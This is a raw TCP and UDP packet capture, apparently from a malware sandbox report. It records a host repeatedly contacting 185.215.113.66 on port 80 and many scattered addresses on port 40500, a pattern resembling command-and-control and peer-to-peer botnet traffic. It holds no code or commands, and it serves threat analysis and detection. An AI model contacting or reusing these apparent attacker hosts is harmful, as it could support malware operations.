Aug 31, 2022 02:15:59.731981039 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732002020 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732007980 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732039928 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732054949 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732074976 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732089043 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732111931 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732124090 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732147932 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732160091 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732182980 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732218027 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732219934 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732229948 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732254982 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732268095 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732290983 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732301950 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732328892 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732341051 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732377052 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732378006 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732414961 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732424974 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732450962 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732464075 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732496977 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732497931 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732533932 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.732546091 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.732588053 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.789072037 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.789247990 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:05.487484932 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.041699886 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.098999023 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.099211931 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.100950003 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.157778978 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.158679008 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.158716917 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.158745050 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.158771992 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.158797026 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.158822060 CEST	80	49733	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.158874989 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.158905029 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.158910036 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.158912897 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.163060904 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.163079023 CEST	49733	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.165301085 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.221704960 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.221889973 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.319304943 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.375802040 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.375932932 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.375961065 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.375982046 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.376002073 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.376024008 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.376043081 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:23.376081944 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.376172066 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.376182079 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.376187086 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:23.376193047 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:34.014147997 CEST	49735	40500	192.168.2.6	5.236.182.192
Aug 31, 2022 02:16:37.027163982 CEST	49735	40500	192.168.2.6	5.236.182.192
Aug 31, 2022 02:16:43.027487993 CEST	49735	40500	192.168.2.6	5.236.182.192
Aug 31, 2022 02:16:44.828418016 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:44.884618998 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:44.884804964 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:44.884951115 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:45.890073061 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:45.946708918 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:45.946866035 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:45.946917057 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:46.971465111 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:47.027870893 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:47.030252934 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:48.184475899 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:48.241894007 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:48.242089033 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:49.384533882 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:49.443176985 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:49.443372011 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:52.657641888 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:52.658835888 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:53.011468887 CEST	80	49734	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:53.011564016 CEST	49734	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:53.747134924 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:53.747466087 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:53.750128031 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:53.809906006 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:53.809990883 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:53.810100079 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:54.829653978 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:54.886660099 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:54.886708975 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:54.886827946 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:55.890388012 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:55.946316957 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:55.946450949 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:55.946523905 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:57.082552910 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:57.139005899 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:57.139053106 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:57.139216900 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:58.156339884 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:16:58.212491035 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:16:58.212627888 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:00.065459967 CEST	49747	40500	192.168.2.6	213.246.19.58
Aug 31, 2022 02:17:01.374466896 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:01.375556946 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:01.430677891 CEST	80	49744	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:01.430879116 CEST	49744	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:01.431616068 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:01.431865931 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:01.432400942 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:01.495418072 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:01.495464087 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:01.495568991 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:02.504230976 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:02.560187101 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:02.560307980 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:02.560432911 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:03.076060057 CEST	49747	40500	192.168.2.6	213.246.19.58
Aug 31, 2022 02:17:03.579242945 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:03.637404919 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:03.637521029 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:03.637746096 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:04.656775951 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:04.712923050 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:04.713007927 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:05.726660967 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:05.783158064 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:05.783273935 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:09.185996056 CEST	49747	40500	192.168.2.6	213.246.19.58
Aug 31, 2022 02:17:09.875499010 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:09.876562119 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:09.941236973 CEST	80	49748	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:09.941334009 CEST	49748	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:09.942636013 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:09.942769051 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:09.943286896 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:10.000349998 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:10.000436068 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:10.000541925 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:11.016294003 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:11.073929071 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:11.073949099 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:11.074017048 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:12.079431057 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:12.146236897 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:12.146450043 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:12.147881985 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:13.172950029 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:13.230401039 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:13.230576992 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:14.236479044 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:14.294698954 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:14.294791937 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:17.465838909 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:17.467648029 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:17.523421049 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:17.523555040 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:17.524123907 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:17.524307966 CEST	80	49749	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:17.524369955 CEST	49749	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:17.579732895 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:17.579788923 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:17.579874992 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:18.595746040 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:18.651501894 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:18.651587009 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:18.651773930 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:19.659490108 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:19.715318918 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:19.715336084 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:19.715439081 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:20.750405073 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:20.812855005 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:20.812978029 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:20.813074112 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:21.832577944 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:21.888834000 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:21.889004946 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:25.121917963 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:25.122939110 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:25.180409908 CEST	80	49751	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:25.180566072 CEST	49751	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:25.181369066 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:25.181485891 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:25.231293917 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:25.288367987 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:25.288511992 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:25.288619041 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:26.503228903 CEST	49758	40500	192.168.2.6	196.175.1.52
Aug 31, 2022 02:17:26.630175114 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:26.686803102 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:26.686863899 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:26.687026978 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:27.737221003 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:27.795232058 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:27.795470953 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:27.795572042 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:28.799602985 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:28.856990099 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:28.857161045 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:29.547158957 CEST	49758	40500	192.168.2.6	196.175.1.52
Aug 31, 2022 02:17:29.862070084 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:29.918791056 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:29.918936968 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:33.081667900 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:33.082843065 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:33.138104916 CEST	80	49757	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:33.138183117 CEST	49757	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:33.139152050 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:33.139244080 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:33.139748096 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:33.196062088 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:33.196101904 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:33.196173906 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:34.211179018 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:34.267340899 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:34.267499924 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:34.267640114 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:35.285228968 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:35.341408014 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:35.341545105 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:35.341619015 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:35.547641993 CEST	49758	40500	192.168.2.6	196.175.1.52
Aug 31, 2022 02:17:36.381850004 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:36.438131094 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:36.438225985 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:36.438325882 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:37.528143883 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:37.584794998 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:37.584906101 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:40.927731991 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:40.931032896 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:40.983989000 CEST	80	49761	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:40.984050989 CEST	49761	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:40.989387989 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:40.989486933 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:40.990046978 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:41.047061920 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:41.047102928 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:41.047188044 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:42.081721067 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:42.138569117 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:42.138631105 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:42.138708115 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:43.147820950 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:43.204978943 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:43.205065966 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:43.205204010 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:44.223496914 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:44.280282974 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:44.280461073 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:44.280551910 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:45.292567015 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:45.350109100 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:45.350210905 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:47.489877939 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:47.491401911 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:47.546853065 CEST	80	49765	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:47.546926022 CEST	49765	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:47.547444105 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:47.547548056 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:47.548510075 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:47.604454041 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:47.604707003 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:47.604789972 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:48.617147923 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:48.677680016 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:48.677912951 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:48.678014040 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:49.692909956 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:49.749074936 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:49.749217987 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:49.749803066 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:50.769622087 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:50.825948000 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:50.826114893 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:50.826261997 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:51.840993881 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:51.906789064 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:51.906863928 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:52.583745956 CEST	49799	40500	192.168.2.6	69.67.151.59
Aug 31, 2022 02:17:52.911853075 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:52.970256090 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:52.970336914 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:55.596247911 CEST	49799	40500	192.168.2.6	69.67.151.59
Aug 31, 2022 02:17:56.150274038 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:56.153091908 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:56.206564903 CEST	80	49787	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:56.206742048 CEST	49787	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:56.209359884 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:56.209609032 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:56.210105896 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:56.273480892 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:56.276905060 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:56.277944088 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:57.308902025 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:57.365041971 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:57.365096092 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:57.365219116 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:58.510873079 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:17:58.567048073 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:58.567092896 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:17:58.567193031 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:18:00.069252014 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:18:00.125279903 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:18:00.125408888 CEST	80	49800	185.215.113.66	192.168.2.6
Aug 31, 2022 02:18:00.125531912 CEST	49800	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:18:01.627979994 CEST	49799	40500	192.168.2.6	69.67.151.59

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2022 02:16:34.020525932 CEST	63231	40500	192.168.2.6	2.185.152.73
Aug 31, 2022 02:16:39.142756939 CEST	63231	40500	192.168.2.6	151.235.32.225
Aug 31, 2022 02:16:44.145689964 CEST	63231	40500	192.168.2.6	193.193.254.13
Aug 31, 2022 02:16:49.386518002 CEST	63231	40500	192.168.2.6	180.222.143.42
Aug 31, 2022 02:16:54.380816936 CEST	63231	40500	192.168.2.6	134.35.246.12
Aug 31, 2022 02:16:59.380676031 CEST	63231	40500	192.168.2.6	213.230.120.247
Aug 31, 2022 02:17:04.384885073 CEST	63231	40500	192.168.2.6	2.182.9.184
Aug 31, 2022 02:17:09.472390890 CEST	63231	40500	192.168.2.6	192.168.1.2
Aug 31, 2022 02:17:14.499742985 CEST	63231	40500	192.168.2.6	176.113.143.70
Aug 31, 2022 02:17:19.561342955 CEST	63231	40500	192.168.2.6	196.175.1.52
Aug 31, 2022 02:17:25.042804003 CEST	63231	40500	192.168.2.6	134.35.50.137
Aug 31, 2022 02:17:30.050107956 CEST	63231	40500	192.168.2.6	193.17.189.170
Aug 31, 2022 02:17:35.069401979 CEST	63231	40500	192.168.2.6	89.236.219.80
